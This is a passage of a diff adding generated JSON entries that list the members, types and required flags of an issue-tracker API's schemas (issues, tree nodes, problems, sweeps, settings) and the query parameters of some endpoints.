+ "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "IssuePatchBody", + "member": "metadata", + "type": "object", + "required": false + }, + { + "schema": "IssuePatchBody", + "member": "notes", + "type": "string", + "required": false + }, + { + "schema": "IssuePatchBody", + "member": "parent_id", + "type": "string", + "required": false + }, + { + "schema": "IssuePatchBody", + "member": "priority", + "type": "integer", + "required": false + }, + { + "schema": "IssuePatchBody", + "member": "remove_labels", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "IssuePatchBody", + "member": "status", + "type": "string", + "required": false + }, + { + "schema": "IssuePatchBody", + "member": "title", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "acceptance_criteria", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "actor", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "assignee", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "await_id", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "await_type", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "bonded_from", + "type": "array", + "required": false, + "item_type": "object" + }, + { + "schema": "IssueWithCounts", + "member": "close_reason", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "closed_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "closed_by_session", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "comment_count", + "type": "integer", + "required": true + }, + { + "schema": "IssueWithCounts", + "member": "comments", + "type": "array", + "required": false, + "item_type": "object" + }, + { + "schema": "IssueWithCounts", + "member": "comments_omitted", + "type": "boolean", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "compacted_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "compacted_at_commit", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "compaction_level", + "type": "integer", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "created_at", + "type": "string", + "format": "date-time", + "required": true + }, + { + "schema": "IssueWithCounts", + "member": "created_by", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "defer_until", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "dependencies", + "type": "array", + "required": false, + "item_type": "object" + }, + { + "schema": "IssueWithCounts", + "member": "dependency_count", + "type": "integer", + "required": true + }, + { + "schema": "IssueWithCounts", + "member": "dependent_count", + "type": "integer", + "required": true + }, + { + "schema": "IssueWithCounts", + "member": "description", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "design", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "due_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "ephemeral", + "type": "boolean", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "estimated_minutes", + "type": "integer", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "event_kind", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "external_ref", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "heartbeat_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "id", + "type": "string", + "required": true + }, + { + "schema": "IssueWithCounts", + "member": "is_blocked", + "type": "boolean", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "is_template", + "type": "boolean", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "issue_type", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "labels", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "IssueWithCounts", + "member": "lease_expires_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "lease_granted_node", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "metadata", + "type": "object", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "mol_type", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "no_history", + "type": "boolean", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "notes", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "original_size", + "type": "integer", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "owner", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "parent", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "payload", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "pinned", + "type": "boolean", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "priority", + "type": "integer", + "required": true + }, + { + "schema": "IssueWithCounts", + "member": "sender", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "source_formula", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "source_location", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "source_system", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "spec_id", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "started_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "status", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "storage_class", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "target", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "timeout", + "type": "integer", + "format": "int64", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "title", + "type": "string", + "required": true + }, + { + "schema": "IssueWithCounts", + "member": "updated_at", + "type": "string", + "format": "date-time", + "required": true + }, + { + "schema": "IssueWithCounts", + "member": "waiters", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "IssueWithCounts", + "member": "wisp_type", + "type": "string", + "required": false + }, + { + "schema": "IssueWithCounts", + "member": "work_type", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "acceptance_criteria", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "actor", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "assignee", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "await_id", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "await_type", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "bonded_from", + "type": "array", + "required": false, + "item_type": "object" + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "close_reason", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "closed_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "closed_by_session", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "comments", + "type": "array", + "required": false, + "item_type": "object" + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "compacted_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "compacted_at_commit", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "compaction_level", + "type": "integer", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "created_at", + "type": "string", + "format": "date-time", + "required": true + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "created_by", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "defer_until", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "dependencies", + "type": "array", + "required": false, + "item_type": "object" + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "dependency_type", + "type": "string", + "required": true + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "description", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "design", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "due_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "ephemeral", + "type": "boolean", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "estimated_minutes", + "type": "integer", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "event_kind", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "external_ref", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "heartbeat_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "id", + "type": "string", + "required": true + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "is_blocked", + "type": "boolean", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "is_template", + "type": "boolean", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "issue_type", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "labels", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "lease_expires_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "lease_granted_node", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "metadata", + "type": "object", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "mol_type", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "no_history", + "type": "boolean", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "notes", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "original_size", + "type": "integer", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "owner", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "payload", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "pinned", + "type": "boolean", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "priority", + "type": "integer", + "required": true + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "sender", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "source_formula", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "source_location", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "source_system", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "spec_id", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "started_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "status", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "storage_class", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "target", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "timeout", + "type": "integer", + "format": "int64", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "title", + "type": "string", + "required": true + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "updated_at", + "type": "string", + "format": "date-time", + "required": true + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "waiters", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "wisp_type", + "type": "string", + "required": false + }, + { + "schema": "IssueWithDependencyMetadata", + "member": "work_type", + "type": "string", + "required": false + }, + { + "schema": "IssuesPage", + "member": "has_more", + "type": "boolean", + "required": true + }, + { + "schema": "IssuesPage", + "member": "items", + "type": "array", + "required": true, + "item_type": "object" + }, + { + "schema": "IssuesPage", + "member": "next_cursor", + "type": "string", + "required": false + }, + { + "schema": "MemoriesPage", + "member": "has_more", + "type": "boolean", + "required": true + }, + { + "schema": "MemoriesPage", + "member": "items", + "type": "array", + "required": true, + "item_type": "object" + }, + { + "schema": "MemoriesPage", + "member": "next_cursor", + "type": "string", + "required": false + }, + { + "schema": "Memory", + "member": "key", + "type": "string", + "required": true + }, + { + "schema": "Memory", + "member": "value", + "type": "string", + "required": true + }, + { + "schema": "Problem", + "member": "actual_assignee", + "type": "string", + "required": false + }, + { + "schema": "Problem", + "member": "actual_status", + "type": "string", + "required": false + }, + { + "schema": "Problem", + "member": "actual_version", + "type": "string", + "required": false + }, + { + "schema": "Problem", + "member": "assignee", + "type": "string", + "required": false + }, + { + "schema": "Problem", + "member": "bd_version", + "type": "string", + "required": false + }, + { + "schema": "Problem", + "member": "blocker_id", + "type": "string", + "required": false + }, + { + "schema": "Problem", + "member": "blocker_is_ancestor", + "type": "boolean", + "required": false + }, + { + "schema": "Problem", + "member": "blockers", + "type": "array", + "required": false, + "item_type": "object" + }, + { + "schema": "Problem", + "member": "code", + "type": "string", + "required": true + }, + { + "schema": "Problem", + "member": "declared_later", + "type": "boolean", + "required": false + }, + { + "schema": "Problem", + "member": "detail", + "type": "string", + "required": false + }, + { + "schema": "Problem", + "member": "existing_type", + "type": "string", + "required": false + }, + { + "schema": "Problem", + "member": "expected_assignee", + "type": "string", + "required": false + }, + { + "schema": "Problem", + "member": "expected_status", + "type": "string", + "required": false + }, + { + "schema": "Problem", + "member": "expected_version", + "type": "string", + "required": false + }, + { + "schema": "Problem", + "member": "floor", + "type": "integer", + "format": "int64", + "required": false + }, + { + "schema": "Problem", + "member": "head", + "type": "integer", + "format": "int64", + "required": false + }, + { + "schema": "Problem", + "member": "issue_id", + "type": "string", + "required": false + }, + { + "schema": "Problem", + "member": "issue_status", + "type": "string", + "required": false + }, + { + "schema": "Problem", + "member": "item_index", + "type": "integer", + "required": false + }, + { + "schema": "Problem", + "member": "item_issue_id", + "type": "string", + "required": false + }, + { + "schema": "Problem", + "member": "item_key", + "type": "string", + "required": false + }, + { + "schema": "Problem", + "member": "item_kind", + "type": "string", + "required": false + }, + { + "schema": "Problem", + "member": "min_wire_revision", + "type": "integer", + "required": false + }, + { + "schema": "Problem", + "member": "open_children", + "type": "integer", + "required": false + }, + { + "schema": "Problem", + "member": "param", + "type": "string", + "required": false + }, + { + "schema": "Problem", + "member": "reason", + "type": "string", + "required": false + }, + { + "schema": "Problem", + "member": "request_id", + "type": "string", + "required": true + }, + { + "schema": "Problem", + "member": "requested_type", + "type": "string", + "required": false + }, + { + "schema": "Problem", + "member": "server_project_id", + "type": "string", + "required": false + }, + { + "schema": "Problem", + "member": "since", + "type": "integer", + "format": "int64", + "required": false + }, + { + "schema": "Problem", + "member": "status", + "type": "integer", + "required": true + }, + { + "schema": "Problem", + "member": "title", + "type": "string", + "required": true + }, + { + "schema": "Problem", + "member": "type", + "type": "string", + "format": "uri", + "required": false + }, + { + "schema": "Problem", + "member": "wire_revision", + "type": "integer", + "required": false + }, + { + "schema": "QueryPage", + "member": "has_more", + "type": "boolean", + "required": true + }, + { + "schema": "QueryPage", + "member": "items", + "type": "array", + "required": true, + "item_type": "object" + }, + { + "schema": "ReadyCount", + "member": "total", + "type": "integer", + "format": "int64", + "required": true + }, + { + "schema": "ReadyPage", + "member": "has_more", + "type": "boolean", + "required": true + }, + { + "schema": "ReadyPage", + "member": "items", + "type": "array", + "required": true, + "item_type": "object" + }, + { + "schema": "Ref", + "member": "id", + "type": "string", + "required": false + }, + { + "schema": "Ref", + "member": "key", + "type": "string", + "required": false + }, + { + "schema": "RelatedIssues", + "member": "items", + "type": "array", + "required": true, + "item_type": "object" + }, + { + "schema": "ReleaseIssueRequest", + "member": "actor", + "type": "string", + "required": true + }, + { + "schema": "ReleaseIssueRequest", + "member": "expected_assignee", + "type": "string", + "required": false + }, + { + "schema": "ReleaseIssueRequest", + "member": "force", + "type": "boolean", + "required": false + }, + { + "schema": "ReleaseIssueResponse", + "member": "changed", + "type": "boolean", + "required": true + }, + { + "schema": "ReleaseIssueResponse", + "member": "issue", + "type": "object", + "required": true + }, + { + "schema": "ReleaseIssueResponse", + "member": "revision", + "type": "string", + "required": true + }, + { + "schema": "RememberRequest", + "member": "content", + "type": "string", + "required": true + }, + { + "schema": "RememberRequest", + "member": "key", + "type": "string", + "required": false + }, + { + "schema": "RememberedMemory", + "member": "key", + "type": "string", + "required": true + }, + { + "schema": "RememberedMemory", + "member": "replaced", + "type": "boolean", + "required": true + }, + { + "schema": "RememberedMemory", + "member": "value", + "type": "string", + "required": true + }, + { + "schema": "RemoveDependencyRequest", + "member": "actor", + "type": "string", + "required": true + }, + { + "schema": "RemoveDependencyRequest", + "member": "depends_on_id", + "type": "string", + "required": true + }, + { + "schema": "RemoveDependencyRequest", + "member": "issue_id", + "type": "string", + "required": true + }, + { + "schema": "RemoveDependencyResponse", + "member": "removed", + "type": "boolean", + "required": true + }, + { + "schema": "RemovedSetting", + "member": "key", + "type": "string", + "required": true + }, + { + "schema": "ReopenIssueRequest", + "member": "actor", + "type": "string", + "required": true + }, + { + "schema": "ReopenIssueRequest", + "member": "expected_version", + "type": "string", + "required": false + }, + { + "schema": "ReopenIssueRequest", + "member": "reason", + "type": "string", + "required": false + }, + { + "schema": "ReopenIssueResponse", + "member": "already_open", + "type": "boolean", + "required": true + }, + { + "schema": "ReopenIssueResponse", + "member": "issue", + "type": "object", + "required": true + }, + { + "schema": "ReopenIssueResponse", + "member": "revision", + "type": "string", + "required": true + }, + { + "schema": "SetSettingRequest", + "member": "value", + "type": "string", + "required": true + }, + { + "schema": "Setting", + "member": "key", + "type": "string", + "required": true + }, + { + "schema": "Setting", + "member": "redacted", + "type": "boolean", + "required": true + }, + { + "schema": "Setting", + "member": "value", + "type": "string", + "required": false + }, + { + "schema": "SettingsPage", + "member": "has_more", + "type": "boolean", + "required": true + }, + { + "schema": "SettingsPage", + "member": "items", + "type": "array", + "required": true, + "item_type": "object" + }, + { + "schema": "SettingsPage", + "member": "next_cursor", + "type": "string", + "required": false + }, + { + "schema": "Statistics", + "member": "average_lead_time_hours", + "type": "number", + "required": true + }, + { + "schema": "Statistics", + "member": "blocked_issues", + "type": "integer", + "required": true, + "nullable": true + }, + { + "schema": "Statistics", + "member": "closed_issues", + "type": "integer", + "required": true + }, + { + "schema": "Statistics", + "member": "deferred_issues", + "type": "integer", + "required": true + }, + { + "schema": "Statistics", + "member": "epics_eligible_for_closure", + "type": "integer", + "required": true + }, + { + "schema": "Statistics", + "member": "gate_issues", + "type": "integer", + "required": false + }, + { + "schema": "Statistics", + "member": "in_progress_issues", + "type": "integer", + "required": true + }, + { + "schema": "Statistics", + "member": "open_issues", + "type": "integer", + "required": true + }, + { + "schema": "Statistics", + "member": "pinned_issues", + "type": "integer", + "required": true + }, + { + "schema": "Statistics", + "member": "ready_issues", + "type": "integer", + "required": true, + "nullable": true + }, + { + "schema": "Statistics", + "member": "template_issues", + "type": "integer", + "required": false + }, + { + "schema": "Statistics", + "member": "total_issues", + "type": "integer", + "required": true + }, + { + "schema": "StatsResponse", + "member": "blocked_count_skipped", + "type": "boolean", + "required": true + }, + { + "schema": "StatsResponse", + "member": "summary", + "type": "object", + "required": true + }, + { + "schema": "SweepRequest", + "member": "actor", + "type": "string", + "required": false + }, + { + "schema": "SweepRequest", + "member": "closed_before", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "SweepRequest", + "member": "dry_run", + "type": "boolean", + "required": false + }, + { + "schema": "SweepRequest", + "member": "pattern", + "type": "string", + "required": false + }, + { + "schema": "SweepRequest", + "member": "protect_referenced", + "type": "boolean", + "required": false + }, + { + "schema": "SweepRequest", + "member": "tier", + "type": "string", + "enum": [ + "durable", + "ephemeral" + ], + "required": true + }, + { + "schema": "SweepResult", + "member": "dependencies", + "type": "integer", + "required": true + }, + { + "schema": "SweepResult", + "member": "dry_run", + "type": "boolean", + "required": true + }, + { + "schema": "SweepResult", + "member": "events", + "type": "integer", + "required": true + }, + { + "schema": "SweepResult", + "member": "labels", + "type": "integer", + "required": true + }, + { + "schema": "SweepResult", + "member": "referenced_ids", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "SweepResult", + "member": "skipped", + "type": "object", + "required": true + }, + { + "schema": "SweepResult", + "member": "swept", + "type": "integer", + "required": true + }, + { + "schema": "SweepSkips", + "member": "closed_at_or_after_cutoff", + "type": "integer", + "required": true + }, + { + "schema": "SweepSkips", + "member": "not_closed", + "type": "integer", + "required": true + }, + { + "schema": "SweepSkips", + "member": "pinned", + "type": "integer", + "required": true + }, + { + "schema": "SweepSkips", + "member": "referenced", + "type": "integer", + "required": true + }, + { + "schema": "SweepSkips", + "member": "unknown_closed_at", + "type": "integer", + "required": true + }, + { + "schema": "SweepSkips", + "member": "unreadable", + "type": "integer", + "required": true + }, + { + "schema": "TreeNode", + "member": "acceptance_criteria", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "actor", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "assignee", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "await_id", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "await_type", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "bonded_from", + "type": "array", + "required": false, + "item_type": "object" + }, + { + "schema": "TreeNode", + "member": "close_reason", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "closed_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "TreeNode", + "member": "closed_by_session", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "comments", + "type": "array", + "required": false, + "item_type": "object" + }, + { + "schema": "TreeNode", + "member": "compacted_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "TreeNode", + "member": "compacted_at_commit", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "compaction_level", + "type": "integer", + "required": false + }, + { + "schema": "TreeNode", + "member": "created_at", + "type": "string", + "format": "date-time", + "required": true + }, + { + "schema": "TreeNode", + "member": "created_by", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "defer_until", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "TreeNode", + "member": "dependencies", + "type": "array", + "required": false, + "item_type": "object" + }, + { + "schema": "TreeNode", + "member": "depth", + "type": "integer", + "required": true + }, + { + "schema": "TreeNode", + "member": "description", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "design", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "due_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "TreeNode", + "member": "edge_from_parent", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "ephemeral", + "type": "boolean", + "required": false + }, + { + "schema": "TreeNode", + "member": "estimated_minutes", + "type": "integer", + "required": false + }, + { + "schema": "TreeNode", + "member": "event_kind", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "external_ref", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "heartbeat_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "TreeNode", + "member": "id", + "type": "string", + "required": true + }, + { + "schema": "TreeNode", + "member": "is_blocked", + "type": "boolean", + "required": false + }, + { + "schema": "TreeNode", + "member": "is_template", + "type": "boolean", + "required": false + }, + { + "schema": "TreeNode", + "member": "issue_type", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "labels", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "TreeNode", + "member": "lease_expires_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "TreeNode", + "member": "lease_granted_node", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "metadata", + "type": "object", + "required": false + }, + { + "schema": "TreeNode", + "member": "mol_type", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "no_history", + "type": "boolean", + "required": false + }, + { + "schema": "TreeNode", + "member": "notes", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "original_size", + "type": "integer", + "required": false + }, + { + "schema": "TreeNode", + "member": "owner", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "parent_id", + "type": "string", + "required": true + }, + { + "schema": "TreeNode", + "member": "payload", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "pinned", + "type": "boolean", + "required": false + }, + { + "schema": "TreeNode", + "member": "priority", + "type": "integer", + "required": true + }, + { + "schema": "TreeNode", + "member": "sender", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "source_formula", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "source_location", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "source_system", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "spec_id", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "started_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "TreeNode", + "member": "status", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "storage_class", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "target", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "timeout", + "type": "integer", + "format": "int64", + "required": false + }, + { + "schema": "TreeNode", + "member": "title", + "type": "string", + "required": true + }, + { + "schema": "TreeNode", + "member": "truncated", + "type": "boolean", + "required": true + }, + { + "schema": "TreeNode", + "member": "updated_at", + "type": "string", + "format": "date-time", + "required": true + }, + { + "schema": "TreeNode", + "member": "waiters", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "TreeNode", + "member": "wisp_type", + "type": "string", + "required": false + }, + { + "schema": "TreeNode", + "member": "work_type", + "type": "string", + "required": false + }, + { + "schema": "UpdateIssueRequest", + "member": "actor", + "type": "string", + "required": true + }, + { + "schema": "UpdateIssueRequest", + "member": "claim", + "type": "boolean", + "required": false + }, + { + "schema": "UpdateIssueRequest", + "member": "expected_assignee", + "type": "string", + "required": false + }, + { + "schema": "UpdateIssueRequest", + "member": "expected_status", + "type": "string", + "required": false + }, + { + "schema": "UpdateIssueRequest", + "member": "expected_version", + "type": "string", + "required": false + }, + { + "schema": "UpdateIssueRequest", + "member": "force_assignee_transfer", + "type": "boolean", + "required": false + }, + { + "schema": "UpdateIssueRequest", + "member": "force_close_policy", + "type": "boolean", + "required": false + }, + { + "schema": "UpdateIssueRequest", + "member": "force_notes_overwrite", + "type": "boolean", + "required": false + }, + { + "schema": "UpdateIssueRequest", + "member": "patch", + "type": "object", + "required": true + }, + { + "schema": "UpdateIssueResponse", + "member": "changed", + "type": "boolean", + "required": true + }, + { + "schema": "UpdateIssueResponse", + "member": "issue", + "type": "object", + "required": true + }, + { + "schema": "UpdateIssueResponse", + "member": "revision", + "type": "string", + "required": true + }, + { + "schema": "param:addComment", + "member": "path:id", + "type": "string", + "required": true, + "style": "simple" + }, + { + "schema": "param:claimIssue", + "member": "path:id", + "type": "string", + "required": true, + "style": "simple" + }, + { + "schema": "param:claimNextIssue", + "member": "query:assignee", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:claimNextIssue", + "member": "query:exclude_label", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:claimNextIssue", + "member": "query:exclude_type", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:claimNextIssue", + "member": "query:has_metadata_key", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:claimNextIssue", + "member": "query:include_deferred", + "type": "boolean", + "required": false, + "style": "form", + "explode": true, + "default": "false" + }, + { + "schema": "param:claimNextIssue", + "member": "query:include_ephemeral", + "type": "boolean", + "required": false, + "style": "form", + "explode": true, + "default": "false" + }, + { + "schema": "param:claimNextIssue", + "member": "query:label", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:claimNextIssue", + "member": "query:label_any", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:claimNextIssue", + "member": "query:label_pattern", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:claimNextIssue", + "member": "query:label_regex", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:claimNextIssue", + "member": "query:metadata_field", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:claimNextIssue", + "member": "query:parent", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:claimNextIssue", + "member": "query:priority", + "type": "integer", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:claimNextIssue", + "member": "query:sort", + "type": "string", + "enum": [ + "hybrid", + "oldest", + "priority" + ], + "required": false, + "style": "form", + "explode": true, + "default": "priority" + }, + { + "schema": "param:claimNextIssue", + "member": "query:type", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:claimNextIssue", + "member": "query:unassigned", + "type": "boolean", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:closeIssue", + "member": "path:id", + "type": "string", + "required": true, + "style": "simple" + }, + { + "schema": "param:compareAndSetMetadata", + "member": "path:id", + "type": "string", + "required": true, + "style": "simple" + }, + { + "schema": "param:countDependencyEdges", + "member": "query:direction", + "type": "string", + "enum": [ + "in", + "out" + ], + "required": true, + "style": "form", + "explode": true + }, + { + "schema": "param:countDependencyEdges", + "member": "query:issue_id", + "type": "array", + "required": true, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:countDependencyEdges", + "member": "query:status", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countDependencyEdges", + "member": "query:type", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:countIssues", + "member": "query:assignee", + "type": 